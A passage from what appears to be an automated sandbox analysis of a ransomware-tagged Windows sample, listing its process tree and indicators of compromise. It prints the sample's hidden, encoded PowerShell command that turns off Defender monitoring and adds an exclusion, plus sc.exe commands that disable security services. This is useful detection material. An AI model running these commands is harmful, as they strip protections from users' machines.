Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2268 schtasks.exe 5020 schtasks.exe 5420 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3864 powershell.exe 3864 powershell.exe 3864 powershell.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeDebugPrivilege 3864 powershell.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeIncreaseQuotaPrivilege 4664 WMIC.exe Token: SeSecurityPrivilege 4664 WMIC.exe Token: SeTakeOwnershipPrivilege 4664 WMIC.exe Token: SeLoadDriverPrivilege 4664 WMIC.exe Token: SeSystemProfilePrivilege 4664 WMIC.exe Token: SeSystemtimePrivilege 4664 WMIC.exe Token: SeProfSingleProcessPrivilege 4664 WMIC.exe Token: SeIncBasePriorityPrivilege 4664 WMIC.exe Token: SeCreatePagefilePrivilege 4664 WMIC.exe Token: SeBackupPrivilege 4664 WMIC.exe Token: SeRestorePrivilege 4664 WMIC.exe Token: SeShutdownPrivilege 4664 WMIC.exe Token: SeDebugPrivilege 4664 WMIC.exe Token: SeSystemEnvironmentPrivilege 4664 WMIC.exe Token: SeRemoteShutdownPrivilege 4664 WMIC.exe Token: SeUndockPrivilege 4664 WMIC.exe Token: SeManageVolumePrivilege 4664 WMIC.exe Token: 33 4664 WMIC.exe Token: 34 4664 WMIC.exe Token: 35 4664 WMIC.exe Token: 36 4664 WMIC.exe Token: SeBackupPrivilege 1680 vssvc.exe Token: SeRestorePrivilege 1680 vssvc.exe Token: SeAuditPrivilege 1680 vssvc.exe Token: SeIncreaseQuotaPrivilege 4664 WMIC.exe Token: SeSecurityPrivilege 4664 WMIC.exe Token: SeTakeOwnershipPrivilege 4664 WMIC.exe Token: SeLoadDriverPrivilege 4664 WMIC.exe Token: SeSystemProfilePrivilege 4664 WMIC.exe Token: SeSystemtimePrivilege 4664 WMIC.exe Token: SeProfSingleProcessPrivilege 4664 WMIC.exe Token: SeIncBasePriorityPrivilege 4664 WMIC.exe Token: SeCreatePagefilePrivilege 4664 WMIC.exe Token: SeBackupPrivilege 4664 WMIC.exe Token: SeRestorePrivilege 4664 WMIC.exe Token: SeShutdownPrivilege 4664 WMIC.exe Token: SeDebugPrivilege 4664 WMIC.exe Token: SeSystemEnvironmentPrivilege 4664 WMIC.exe Token: SeRemoteShutdownPrivilege 4664 WMIC.exe Token: SeUndockPrivilege 4664 WMIC.exe Token: SeManageVolumePrivilege 4664 WMIC.exe Token: 33 4664 WMIC.exe Token: 34 4664 WMIC.exe Token: 35 4664 WMIC.exe Token: 36 4664 WMIC.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeShutdownPrivilege 3424 chrome.exe Token: SeCreatePagefilePrivilege 3424 chrome.exe Token: SeDebugPrivilege 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3424 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe - Suspicious use of SendNotifyMessage 16 IoCs
pid Process 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe 3424 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1828 wrote to memory of 3424 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 81 PID 3424 wrote to memory of 440 3424 chrome.exe 82 PID 1828 wrote to memory of 3864 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 83 PID 1828 wrote to memory of 3244 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 85 PID 1828 wrote to memory of 1708 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 1828 wrote to memory of 4048 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 1828 wrote to memory of 400 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 1828 wrote to memory of 2456 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 93 PID 1828 wrote to memory of 2148 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 95 PID 1828 wrote to memory of 3008 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 97 PID 1828 wrote to memory of 984 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 99 PID 3424 wrote to memory of 4844 3424 chrome.exe 101 PID 1828 wrote to memory of 1460 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 103 PID 3424 wrote to memory of 4548 3424 chrome.exe 102 PID 3424 wrote to memory of 2972 3424 chrome.exe 104 PID 3424 wrote to memory of 3432 3424 chrome.exe 106 PID 3424 wrote to memory of 3160 3424 chrome.exe 163 PID 3424 wrote to memory of 4844 3424 chrome.exe 101 PID 3424 wrote to memory of 2972 3424 chrome.exe 104 PID 3424 wrote to memory of 3432 3424 chrome.exe 106 PID 3424 wrote to memory of 3160 3424 chrome.exe 163 PID 1828 wrote to memory of 1168 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 1828 wrote to memory of 1496 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 3424 wrote to memory of 2632 3424 chrome.exe 113 PID 3424 wrote to memory of 2632 3424 chrome.exe 113 PID 1828 wrote to memory of 3720 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 114 PID 1828 wrote to memory of 4664 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 116 PID 3424 wrote to memory of 4200 3424 chrome.exe 118 PID 3424 wrote to memory of 4200 3424 chrome.exe 118 PID 1460 wrote to memory of 5676 1460 fodhelper.exe 122 PID 1828 wrote to memory of 5372 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 175 PID 1828 wrote to memory of 2268 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 167 PID 1828 wrote to memory of 5020 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 126 PID 1828 wrote to memory of 3600 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 131 PID 1828 wrote to memory of 5416 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 132 PID 1828 wrote to memory of 5508 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 1828 wrote to memory of 5580 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 1828 wrote to memory of 5640 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 1828 wrote to memory of 5328 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 1828 wrote to memory of 5856 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 1828 wrote to memory of 5400 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 143 PID 1828 wrote to memory of 5420 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 144 PID 1828 wrote to memory of 5964 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 148 PID 1828 wrote to memory of 2588 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 149 PID 1828 wrote to memory of 5880 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 150 PID 1828 wrote to memory of 5600 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 1828 wrote to memory of 292 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 152 PID 1828 wrote to memory of 5620 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 153 PID 1828 wrote to memory of 6128 1828 2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe 154 PID 5400 wrote to memory of 2884 5400 cmd.exe 161 PID 5600 wrote to memory of 6084 5600 net.exe 162 PID 5416 wrote to memory of 3160 5416 cmd.exe 163 PID 5856 wrote to memory of 868 5856 cmd.exe 164 PID 5508 wrote to memory of 2968 5508 cmd.exe 165 PID 5580 wrote to memory of 4656 5580 cmd.exe 166 PID 5640 wrote to memory of 2268 5640 cmd.exe 167 PID 5328 wrote to memory of 3236 5328 cmd.exe 168 PID 3236 wrote to memory of 4508 3236 net.exe 169 PID 5416 wrote to memory of 2508 5416 cmd.exe 170 PID 3424 wrote to memory of 316 3424 chrome.exe 172 PID 3424 wrote to memory of 5372 3424 chrome.exe 175 PID 3424 wrote to memory of 5904 3424 chrome.exe 176 PID 3424 wrote to memory of 5240 3424 chrome.exe 177 PID 3424 wrote to memory of 5568 3424 chrome.exe 187 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_c43c2b0f725e12817159b30506dd9a4e_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://7ecrit.com2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff97541c728,0x7ff97541c734,0x7ff97541c7403⤵PID:440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1640,i,9228605806146343299,1505885648683362969,262144 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1964 /prefetch:23⤵PID:4844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1444,i,11915020807302437699,14929783951091456702,524288 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2144 /prefetch:113⤵
- System Time Discovery
PID:4548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2244,i,4510180609182078251,4210892843365444157,524288 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:133⤵PID:2972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2944,i,17494257255578347487,15377585484590609317,2097152 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3284 /prefetch:13⤵PID:3432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2952,i,14695049271521552975,4030214532264241819,2097152 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3304 /prefetch:13⤵PID:3160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4304,i,16700531347738771325,10026859192884704747,2097152 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4320 /prefetch:93⤵PID:2632
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4760,i,17762194442982985339,9732204610861391194,2097152 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4504 /prefetch:13⤵PID:4200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5476,i,2098247994859659711,9071919241293014719,524288 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5492 /prefetch:143⤵PID:316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5528,i,15423919833817881090,18800867596648685,524288 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5692 /prefetch:143⤵PID:5372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5808,i,3873063782452269557,2036551412586968438,524288 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5708 /prefetch:143⤵PID:5904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,1064021203306504640,10272566266204895115,524288 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:143⤵PID:5240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5700,i,11632824618378752973,14724757466608729709,262144 --field-trial-handle=1968,i,14233087842830508581,18141078487718640069,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5748 /prefetch:103⤵PID:5568
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3244
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1708
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4048
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
